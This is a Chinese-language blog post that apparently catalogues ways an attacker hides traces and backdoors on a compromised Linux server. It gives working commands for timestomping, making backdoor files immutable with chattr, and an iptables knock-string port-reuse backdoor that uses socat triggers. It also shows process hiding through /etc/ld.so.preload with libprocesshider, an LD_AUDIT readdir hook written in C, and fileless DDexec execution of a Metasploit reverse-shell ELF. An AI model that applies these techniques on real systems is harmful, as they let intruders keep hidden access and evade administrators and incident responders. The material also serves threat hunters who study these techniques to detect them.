攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文总结下Linux的一些隐藏手段。

隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个. 就代表是隐藏文件

查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix//temp/.Test-unix//temp/.X11-unix//temp/.XIM-unix/

隐藏文件时间

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考killpid.sh 的时间,再赋给 reverse.log,结果两个文件的时间就一样了。

利用方法:
touch -r killpid.sh reverse.log
或者直接将时间戳修改成某年某月某日。如下命令把reverse.log最后修改时间改为 2014 年 01 月 02 日:
touch -t 1401021042.30 reverse.log

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr chattr [ -RVf ] [ -v version ] [ mode ] files...
用于更改Linux文件系统上文件属性(chattr - change file attributes on a Linux file system)
一个通用格式是:+-=[aAcCdDeijsStTu]

  • “+”选项,将给文件添加属性
  • “-“选项,移除文件中的属性
  • “=”选项,使得文件只有这些属性
  • 字母 'aAcCdDeijsStTu' 可以赋予文件的新属性:
  • i:不能修改。不能删除或重命名,不能创建到该文件的链接,也不能向该文件写入数据。只有超级用户或拥有 CAP_LINUX_IMMUTABLE能力的进程才能设置或清除此属性。

这个技巧常被用在后门,变成了一些难以清除的后门文件

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf evil.php  删除文件

端口复用

通过端口复用来达到隐藏端口的目的

SSLH实现

第一种,通过SSLH在同一端口上共享SSH与HTTPS

#安装SSLH
sudo apt-get install sslh
#配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no  将其修改为:Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

受害主机–配置开启sslh

攻击主机

iptables实现

有多种复用方式参考:

1、根据源地址做端口复用
2、根据源地址源IP做端口复用
3、利用ICMP协议做遥控开关(ping
4、利用TCP协议做遥控开关

# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至22端口
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关,如果接受含有 threathuntercoming 的tcp包,则将源IP添加到letmein列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接受到含有'threathunterleaving'的tcp包,则将来源 IP 从 letmein 列表中去掉
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it 如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

受害主机配置,复用8000端口:

受害主机

攻击主机利用

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

 

进程隐藏

LD_PRELOAD隐藏

参考链接 [1] 聊一聊Linux下进程隐藏的常见手法及侦测手段 [2] Linux进程隐藏
github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

用LD_AUDIT隐藏

上面介绍了劫持 LDPRELOAD 隐藏进程,黑客往往常用这个技术拦截系统调用执行恶意代码。正如文档 ld.so 中内容,LDPRELOAD 在所有其他对象(附加的、用户指定、ELF 共享对象)之前加载,但实际上 LDPRELOAD 并非真的是首先加载,通过利用 LDAUDIT 环境变量可以实现优先于 LD_PRELOAD 加载。参考 https://man7.org/linux/man-pages/man8/ld.so.8.html

LD_AUDIT

如果我们想隐藏恶意进程脚本evil_script.py,如果直接编译使用LD_AUDIT加载so文件,进程没有隐藏
可以在 processhider.c(改名为process_audit.c) 追加以下代码:

//注意头文件要添加两个文件
#include <stdint.h>
#include <link.h>
unsigned int
la_version(unsigned int version){
    return version;
}
unsigned int
la_objopen(struct link_map *map, Lmid_t lmid, uintptr_t *cookie){
    return LA_FLG_BINDTO | LA_FLG_BINDFROM;
}
uintptr_t
la_symbind64(Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname){
    if (strcmp(symname, "readdir") == 0)
    {
    fprintf(stderr,"'readdir' is called, intercepting.\n");
    return readdir;
    }
    return sym->st_value;
}
//编译命令  gcc -Wall -fPIC -shared -o process_audit.so process_audit.c -ldl

编译,设置LD_AUDIT环境变量前,运行evil_script.py能看到进程:

设置LD_AUDIT环境变量,查看进程,已经没有evil_script.py了,不过环境变量是局部环境变量,只对当前shell有效,其他shell查看py进程仍然存在。

对root和其他用户隐藏,需要持久化环境变量,需要修改$HOME/.bashrc文件,这样相同用户的shell查看进程就可以做到进程隐藏。

隐藏之后

添加环境变量:

使用DDexec在Linux上隐蔽运行二进制文件

参考链接[1]GitHub [2]原理参考-Linux用户空间内存代码注入

DDexec是一种能够在Linux上使用无文件技术和隐秘技术运行二进制文件的方法,它可以使用dd工具来将Shell替换为其他进程。

原理

1、大多数的Shell解释器都允许创建文件描述符,而这些文件描述符随后将被子进程继承。我们可以创建一个fd,并指向Shell(带有写入权限)的mem文件,此时子进程将使用这个fd并修改Shell的内存;
2、ASLR不是问题(地址随机化,针对缓冲区溢出的安全保护技术),因为我们可以检查Shell的maps文件或其他信息来获取关于进程地址空间的相关信息;
3、使用lseek()来对文件进行查询,在Shell的帮助下,我们可以使用dd工具轻松实现;

使用说明

github给出的说明

1、将ddexec.sh注入到需要运行的Base64源代码中,注意不要有换行符出现。脚本的参数也就是程序的运行参数,以“argv[0]”开始。

下面给出的是一个使用样例:

base64 -w0 /bin/ls | bash ddexec.sh /bin/ls -lA

2、项目中还提供了一个ddsc.sh脚本,该脚本允许我们直接运行二进制代码,下面给出的是一段“Hello world”的Shellcode:

bash ddsc.sh -x <<< "4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00"

或者:

bash ddsc.sh < <(xxd -ps -r <<< "4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00")

没错,这种方法也适用于Meterpreter。
该工具目前已经在Debian、Alpine和Arch平台上进行过测试,支持的Shell包括Bash、zsh和ash,且支持x86_64和aarch64(arm64)架构。

复现ddexec.sh脚本执行二进制文件

在centos上复现不成功,ubuntu可以,
centos:(不成功)
(Segmentation fault 由于访问内存管理单元MMU异常所致,通常由于无效内存引用)

centos复现ddexec脚本失败

ubuntu:(成功)

测试一:对本地/bin/ls文件base64编码,作为 ddexec.sh脚本输入,参数是二进制文件的执行参数 /bin/ls -lA

ubuntu执行成功

测试二:
metasploit生成linux反弹shell的elf文件,base64编码,作为脚本输入执行;这种方法可以直接把base64编码后的内容写入txt内(或者别的读取方式),作为脚本输入执行
elf文件在本地:

直接在txt中保存base64 -w0 isshell.elf内容,作为ddexec.sh脚本输入,也可以成功反弹shell:
命令:cat isshell.txt | bash ddexec.sh isshell.elf